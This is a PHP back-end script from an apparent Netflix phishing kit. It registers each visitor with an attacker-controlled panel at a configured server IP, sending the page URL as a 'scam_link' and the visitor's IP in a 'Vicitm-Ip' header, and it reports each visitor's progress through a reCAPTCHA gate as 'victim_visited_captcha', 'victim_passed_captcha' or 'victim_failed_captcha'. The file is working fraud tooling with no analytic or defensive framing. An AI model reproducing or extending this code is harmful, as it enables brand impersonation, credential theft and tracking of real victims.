<?php
require '../inc.php';
session_start();

$ip = get_client_ip();
$ini = parse_ini_file('../app.ini');
$headers = array();
$headers[] = 'Connection: keep-alive';
$headers[] = 'Pragma: no-cache';
$headers[] = 'Cache-Control: no-cache';
$headers[] = 'Accept: application/json, text/plain, */*';
$headers[] = 'Authorization: Bearer ' . $ini['token'];
$headers[] = 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"];
$headers[] = 'Origin: ' . $_SERVER["HTTP_ORIGIN"];
$headers[] = 'Referer: ' . $_SERVER["HTTP_REFERER"];
$headers[] = 'Accept-Language: ' . $_SERVER["HTTP_ACCEPT_LANGUAGE"];
$headers[] = 'Vicitm-Ip: ' . get_client_ip();
$headers[] = 'App-Version: ' . $ini['version'];

if($_GET['sitekey'] === "1") {


    if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on')
        $url = "https://";
    else
        $url = "http://";
    $url .= $_SERVER['HTTP_HOST'];

    $url .= $_SERVER['REQUEST_URI'];


    $curl = curl_init("http://" . $ini['server_ip'] . "/api/netflix/create/" . (!empty($_SESSION['session_id']) ? $_SESSION['session_id'] : 'new'));
    curl_setopt($curl, CURLOPT_TIMEOUT, 25);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_POST, 1);
    curl_setopt($curl, CURLOPT_POSTFIELDS, ["scam_link" => $url]);
    curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
    $result = curl_exec($curl);

    curl_close($curl);

    $res = json_decode($result, true);
    if (empty($res['uuid'])) {
        var_dump($res);
        die('<pre>SERVER ERROR</pre>');
    }
    $_SESSION['session_id'] = $res['uuid'];

    $curl = curl_init("http://" . $ini['server_ip'] . "/api/netflix/refresh/" . $_SESSION['session_id']);
    curl_setopt($curl, CURLOPT_TIMEOUT, 25);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_POST, 1);
    curl_setopt($curl, CURLOPT_POSTFIELDS, ["action_sent" => "victim_visited_captcha", "repeat" => 1]);
    curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
    $result = curl_exec($curl);

    curl_close($curl);

    die(json_encode(['ckey' => $ini['captcha_key_html'], 'validated' => $_SESSION['captcha-validated']]));
}

$captcha_secret_key = $ini['captcha_secret_key'];
$_POST = json_decode(file_get_contents('php://input'), true);

if (!empty($_POST['captcha_rep'])) {

    $post_data = http_build_query(
        array(
            'secret' => $captcha_secret_key,
            'response' => $_POST['captcha_rep'],
            'remoteip' => $ip
        )
    );


    $verify = curl_init();
    curl_setopt($verify, CURLOPT_URL, "https://www.google.com/recaptcha/api/siteverify");
    curl_setopt($verify, CURLOPT_POST, true);
    curl_setopt($verify, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($verify, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($verify, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($verify);

    $result = json_decode($response);

    if ($result->success) {
        $_SESSION['captcha-validated'] = true;
        $curl = curl_init("http://" . $ini['server_ip'] . "/api/netflix/refresh/" . $_SESSION['session_id']);
        curl_setopt($curl, CURLOPT_TIMEOUT, 25);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, ["action_sent" => "victim_passed_captcha", "repeat" => 1]);
        curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
        $result = curl_exec($curl);

        curl_close($curl);
        die(json_encode(["respo" => "Go"]));
    } else {
        $_SESSION['captcha-validated'] = false;
        $curl = curl_init("http://" . $ini['server_ip'] . "/api/netflix/refresh/" . $_SESSION['session_id']);
        curl_setopt($curl, CURLOPT_TIMEOUT, 25);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, ["action_sent" => "victim_failed_captcha", "repeat" => 1]);
        curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
        $result = curl_exec($curl);

        curl_close($curl);
        die(json_encode(["respo" => "Nope"]));
    }
}


